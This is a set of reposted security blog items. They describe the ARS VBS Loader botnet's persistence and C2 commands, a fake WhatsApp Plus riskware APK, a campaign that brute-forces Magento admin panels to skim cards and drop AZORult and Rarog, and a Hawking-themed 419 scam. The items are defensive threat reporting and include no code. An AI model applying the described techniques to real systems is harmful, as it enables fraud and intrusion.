Once the ARS VBS Loader executes on a victim’s computer, it immediately creates a number of entries in nearly a dozen autorun locations, including registry, scheduled tasks, and the startup folder, ensuring persistence through reboots. ARS VBS Loader will connect to the attacker’s server, sending it system information such as the operating system version name, computer user name, RAM, processor and graphics card information, a randomly generated ID for infection tracking, and machine architecture information.

Image 2: ARS VBS Loader submits check in information to the C2 in GET and POST parameters.

Image 2: ARS VBS Loader submits check in information to the C2 in GET and POST parameters.

The botmaster, meanwhile, can remotely administer commands to bots through the PHP command-and-control application. Communication with the command-and-control server is carried out in plaintext over HTTP, making it easy to spot, Flashpoint analysts said.
The malicious code that runs on the victim’s machine is written entirely in VBScript and contains functionality for updating and deleting itself, and deploying plugins such as a credentials stealer, or launching application-layer denial-of-service (DoS) attacks against websites, and loading additional malware from external websites.

The most common command spotted by analysts is download, which instructs bots to download and execute malware from a supplied URL. There is also the plugin command where plugins that steal passwords or capture desktop screenshots can be pushed to compromised computers.

The DDoS command is also noteworthy because it’s a unique capability; analysts said they have not seen this command used in the wild. The command tells bots to send a specified amount of HTTP POST requests to a particular URL. Since this is a simple application layer flooding attack, it is currently unknown how successful this attack would be against targets in the wild, analysts said, adding that it would be easy to spot such traffic because the same hardcoded POST values are sent in the HTTP flood.

Image 3: Example DDoS HTTP flooding traffic from an infected bot.

Image 3: Example DDoS HTTP flooding traffic from an infected bot.

Analysts caution that users should be vigilant about not opening email attachments from unknown sources, and that it’s likely ARS VBS Loader will continue to be an effective initial infection vector for spam campaigns.

To download the indicators of compromise (IOCs) for the ARS VBS Loader, click here.

To download the Yara rule for the ARS VBS Loader, click here.

The post RAT Gone Rogue: Meet ARS VBS Loader appeared first on Flashpoint.

Go to Source
Author: Flashpoint

Mobile Menace Monday: Fake WhatsApp can steal info from your phone

Last month, a blogger at My Online Security reported receiving a spam comment containing WhatsApp Plus. Going through the process, they downloaded an APK of this so-called WhatsApp Plus. Where they ended was as stated,

I am not certain exactly what this does, but from the sandbox reports it looks like it has the potential to steal information, photos, phone numbers etc from your mobile phone.  

Indeed, they are correct, as this is a variant of Android/PUP.Riskware.Wtaspin.GB, a Fake WhatsApp riskware that dates back to mid-2017.  But what makes this variant unique is where it leads us.

Whats in a Fake WhatsApp?

As our dear My Online Security blogger did, I too went through the process and downloaded/installed the APK aforementioned in the linked blog. Upon opening the app is the following greeting:

Of special interest is the gold logo in the middle with a URL and handle. Onward, I clicked on AGREE AND CONTINUE to find, oh no, I was out of date!

The message states, Please go to Google Play Store to download latest version — nah, I’d rather click the DOWNLOAD button. Where I was redirected was intriguing.

Into another realm of Fake WhatsApp

Where I landed was on the above URL from the shiny gold logo. Everything on the webpage is written in Arabic.

Here I was on the official website to download Watts Plus Plus WhatsApp—that unusual name could very well be an awkward Google translate, by the way.  Among numerous ads (a developer needs to make some ad revenue after all) was text explaining this developer’s WhatsApp version. Below is the (very) rough translation, with minor condensing to the most pertinent information:

What is Watts Plus Plus Whatsapp Plus?

Is a copy of WattsPlus developed by Abu, there may be no confidence in some users in the download of Whatsapp Plus, but this version has been checked files Wats through special programs and the result is positive is safe , and the version of Watts Plus is updated Abu periodically for the  last issue is a special version of the fans of Watts AP Plus:

Secure:  The antivirus software code has been checked, the Watsp files are encrypted in the Watspec servers and cannot be decrypted and can only be decrypted by Wattsp itself.

Updated to the latest version:  Watts August the company issued almost every two days a simple update, and is almost updated copies of our own every two months periodically until the copies contain only critical updates.

Four numbers in the same phone: In this version you can run up to four numbers in the same phone without a routine or any difficulty

Features

Hide the last appearance of friends completely with the property of hiding the reading and reception, and the disappearance of the current writing and running and hide that you have played a clip and your voice. And hide that you watched the case of your friend (Alasturi).

The possibility of changing the program line completely to many of the ready lines

Provides the security feature of the application by placing a secret number cannot open the application without it.

Provides security for conversations by placing a secret number cannot open the conversation without him.

You can send more than 100 photos at once to your friends.

And many other features

Hide what you saw the situation:  You can in the latest version of WhatsApp + WhatsApp Plus WhatSapp Plus AbuSamad AlRifa’i Hide that you watched the status of friends from privacy options from the top menu.

What is the best feature in WhatsApp Plus WhatsApp Plus What isApp Plus Abu Sadam Rifai  If we activate this option, no one will be able to see you online forever and will not show the date of your last appearance and no one will know you are online even while you are on the wattage .

Hide the second health:  The sender of the messages will not be able to tell you that you received the message.

Hides the blue ones:  The sender cannot tell you that you read the message but in return you know that he has read the messages and only shows you the blue ones.

Hide the current writing:  You can also in the new version and the latest version of WhatsApp + WhatsApp Plus whatsapp plus Abu Saddam Al – Rifai  hide hiding or typing on the other end of the conversation.

Hides recording:  When recording a track.

Hide playback signal:  ie, the sender cannot tell you have listened to the audio track.

Two-way operation:  You can run two versions of Wattsp on one device without a router by downloading Watts 1 and Watts 2.

See the status of people without entering the conversation:  You can see the status of people connected or last seen from the main screen of the program.

What stood out to me was all the abilities to hide oneself in various ways—very spy-like behavior.

Onward to the next version

Sifting through all the ads stating they were the download button, I finally came across the true download link. After updating, I once again came to the same screen shown above with the gold logo. This time, after pressing the AGREE AND CONTINUE button, the next screen asked to verify a phone number.

After doing so, a changelog appeared with fixes to the app’s hiding features.

Click to view slideshow.

Clicking OK to the changelog, what appears to be a functioning version of WhatsApp opens.

Click to view slideshow.

WhatsCode…ur…what’s in the code

The incriminating code of Android/PUP.Riskware.Wtaspin.GB is within receivers, services, and activities starting with com.gb.atnfas. This code is in various fake WhatsApp APKs. The only difference of the aforementioned version from above is the code points to the Arabic webpage to update.

After analyzing several different versions of PUP.Riskware.Wtaspin.GB, it appears all have different URLs from which to update. Thus, everyone is just copy catting the original source code and adding their own “update” website. So, who is the original author of this riskware? Is the Arabic developer, Abu, the originating author?

The code of this riskware is complex. The webpage of the developer claiming to be owner—not so complex. Although I won’t completely rule out the possibility, let’s just say I am skeptical.

No matter the true author or origin of this fake Whatsapp, I suggest sticking with the real WhatsApp on Google Play. Although Google Play has its faults, it’s tremendously safer than some of the sources I came across researching this riskware. Stay safe out there!

The post Mobile Menace Monday: Fake WhatsApp can steal info from your phone appeared first on Malwarebytes Labs.

Go to Source
Author: Nathan Collier

Compromised Magento Sites Delivering Malware

Ecommerce websites running on the popular open-source Magento platform are being targeted by attackers who are using brute-force password attacks to access administration panels to scrape credit card numbers and install malware that mines cryptocurrency.

Researchers at Flashpoint are aware of the compromise of at least 1,000 Magento admin panels, and said that interest in the platform has continued unabated on entry-level and top-tier Deep & Dark Web forums since 2016. Attackers have also demonstrated continued interest in other popular ecommerce-processing content management systems such as Powerfront CMS and OpenCart.

The Magento sites are being compromised through brute-force attacks using common and known default Magento credentials. Brute-force attacks such as these are simplified when admins fail to change the credentials upon installation of the platform. Attackers, meanwhile, can build simple automated scripts loaded with known credentials to facilitate access of the panels.

Once the attacker has control of the site’s Magento CMS admin panel, they have unfettered access to the site and the ability to add any script they choose. In this case, the attackers were injecting malicious code in the Magento core file, allowing them access to pages where payment data is processed. POST requests to the server containing sensitive data are then intercepted and redirected to the attacker.

Flashpoint analysts said the compromised sites return an exploit in the form of a phony Adobe Flash Player update, which if launched by the user runs malicious JavaScript that downloads malware from attacker-controlled servers on GitHub and other compromised sites onto the victim’s computer.

Analysts said the infection chain begins with the installation of data-stealing malware called AZORult from a binary hosted on GitHub. AZORult then downloads additional malware; in this campaign, the additional malware is the Rarog cryptocurrency miner. The attackers are keen on avoiding detection and update the malicious files daily in order to sidestep signature- and behavior-based detection. Flashpoint said the accounts hosting these files have been active since 2017.

Image 1: Anatomy of the attack.

Image 1: Anatomy of the attack.

Flashpoint said that most of the victims among the 1,000 panels it is aware of are in the education and healthcare industries, and that the IP addresses of the compromised panels map to locations in the United States and Europe.

Analysts assess that this is likely only a set of a larger sample of compromised Magento panels.

Flashpoint is working with law enforcement to notify victims of these compromises.

Image 2: The IP addresses for the compromised panels in the sample set map predominantly to Europe and the United States.

Image 2: The IP addresses for the compromised panels in the sample set map predominantly to Europe and the United States.

In the meantime, the rash of attacks resurrects the epidemic of default credential usage among admins. Default credentials were at the core of the 2016 Mirai attacks where hackers were able to access connected devices such as security cameras, DVRs and routers using known and common default passwords. The compromised IoT devices were corralled into a massive botnet that was pointed at a number of high-value targets including DNS provider Dyn, French webhost OVH, and journalist Brian Krebs’ website in order to carry out crippling distributed denial-of-service attacks. The DDoS attack against Dyn peaked at 1 terabyte-per-second and took a number of popular websites and services offline for the better part of day in October 2016, including Twitter, Spotify and GitHub.

Magento admins are advised to review CMS account logins and mitigate their exposure to brute-force attacks by enforcing the following password-hygiene practices:

  • Enforce organizational password complexity requirements.
  • Restrict users from recycling previously used passwords.
  • Enable two-factor authentication for sensitive systems, applications, databases, and remote access solutions.
  • Supply users with secure password managers to assist with password requirements.

The indicators of compromise (IOCs) for AZORult, Rarog, and the campaign targeting Magento are available for download here. The Yara rule is available for download here.

The post Compromised Magento Sites Delivering Malware appeared first on Flashpoint.

Go to Source
Author: Flashpoint

“Celebrating Stephen Hawking” with a 419 scam

The recently departed Stephen Hawking is apparently back from the dead, now a target for scammers wanting to extract some quick cash from the unwary in the form of a vaguely surreal 419 scam.

The whole thing begins with an email from, er, Stephen Hawking titled “Celebrating Stephen Hawking.”

hawking mail

Click to enlarge

The body text is a slightly mangled swipe job from this AP article over on NYTimes, explaining Hawking’s health condition, a potted biography, and a mention of his famous book, A Brief History of Time. At this point, you may be wondering what the point of this missive is—it appears to be some sort of peculiar In Memoriam-style infodump, with nothing particularly sinister going on.

However, it quickly becomes a little more interesting with this next section of content:

hawking mail second part

Click to enlarge

Celebrating Hawking of his late on age 76yrs.
Awarding to a Person whom answer these questions about Stephen Hawking
will be Rewarded with Sum of $8 Million Dollars

QUESTION AND ANSWER

(A) Who is Stephen Hawking wife?
(B) Where is Stephen Hawking from?
(C) Who is Stephen Hawking?

That’s right. Answer some questions about Stephen Hawking, and win a cash prize—a very large one, in fact, to the tune of a cool $8 million. If you’re thinking something along the lines of, “This is too good to be true,” you most definitely would be onto something.

The email links to a Verge article it says will provide the answers to the three questions. Amazingly, not only are the scammers seemingly willing to provide the answers to this impromptu quiz, but they’re also not providing the answers, because the article does no such thing. So a round of applause for our fake email friend for making me read something needlessly.

It goes on:

Notice: These three question will lead you to Eight Millions Dollars Cash.

Answer………………….

(A)
(B)
(C)

To E-mail:

Be reminded $8m Awaiting to your winning answer of these question.

Your’s Faithfully
Science Space

Thanks, “Science Space,” if that really is your name (because Stephen Hawking certainly isn’t). They will, of course, go on to call themselves “Scientist Space” a little later on in the mail chain because accuracy and consistency don’t appear to be a concern for our Hawking-themed scammers. Bad for them, and good for us, as you now have a few more peculiar aliases to add to the pile of “This is most definitely the fakest thing I’ve seen since last Wednesday.”

Anyway, I sent them a pile of deliberately incorrect answers to see if they actually would refuse to offer me the fake $8 million, or if the questions were utterly meaningless. Imagine my surprise to find that they really wanted me to jump through some research hoops, and were quite happy to send me an answer to get me started:

hawking reply

Click to enlarge

Oops Accurate answers Request…….. ….

Your Answers is incorrect.

Example Number One
A) Stephen William Hawking wife, her Name is……… Jane Beryl Hawking

You still have a chance to win to an accurate answers
to the left of the (2) questions

Terms
Scientist Space

Yes, they’re just straight up giving me the answers, and now I had to do some digging of my own. I sent a reply answering 2 and 3, and…

i'm a hawking winner

Click to enlarge

…………You Just won $8 Million Dollars Portfolio,………

Your Winning is ready to Claimed.
As it’s your readiness of Claiming your portfolio $8M
will need your following information to your Claimed

Your Name……………….
Address…………………..
Cell Phone………………
Age……………….
Height……..
Width……….
A copy of Gorv issue ID Card if any.

This is a hug money that will change your entirely life to your future generation.
Good-luck to your family will never surfer again bringing it to you by Late Dr Stephen William Hawking.
to your answers Award winner.

Terms
Scientist Space

Just like that, I’ve won $8 million. Hooray!

Except, not really. What I’ve actually won is a chance to lose all my money, and possibly become a money mule in the bargain. (Also, who asks for “width”?!) I’m afraid to say that neither Stephen Hawking nor anyone claiming to be representing him will be mailing you about cash prizes anytime soon.

This is just another poor attempt by scammers to make a quick buck off the name of a famous, recently deceased individual. Utterly reprehensible, and entirely fraudulent. Should you receive a mail along the lines of the above, report it, then delete. You won’t land a cool 8 mil, but you will be doing your part to prevent someone else from falling for the same scam.

(Thanks to Tane Piper for sending this over.)

The post “Celebrating Stephen Hawking” with a 419 scam appeared first on Malwarebytes Labs.

Go to Source
Author: Christopher Boyd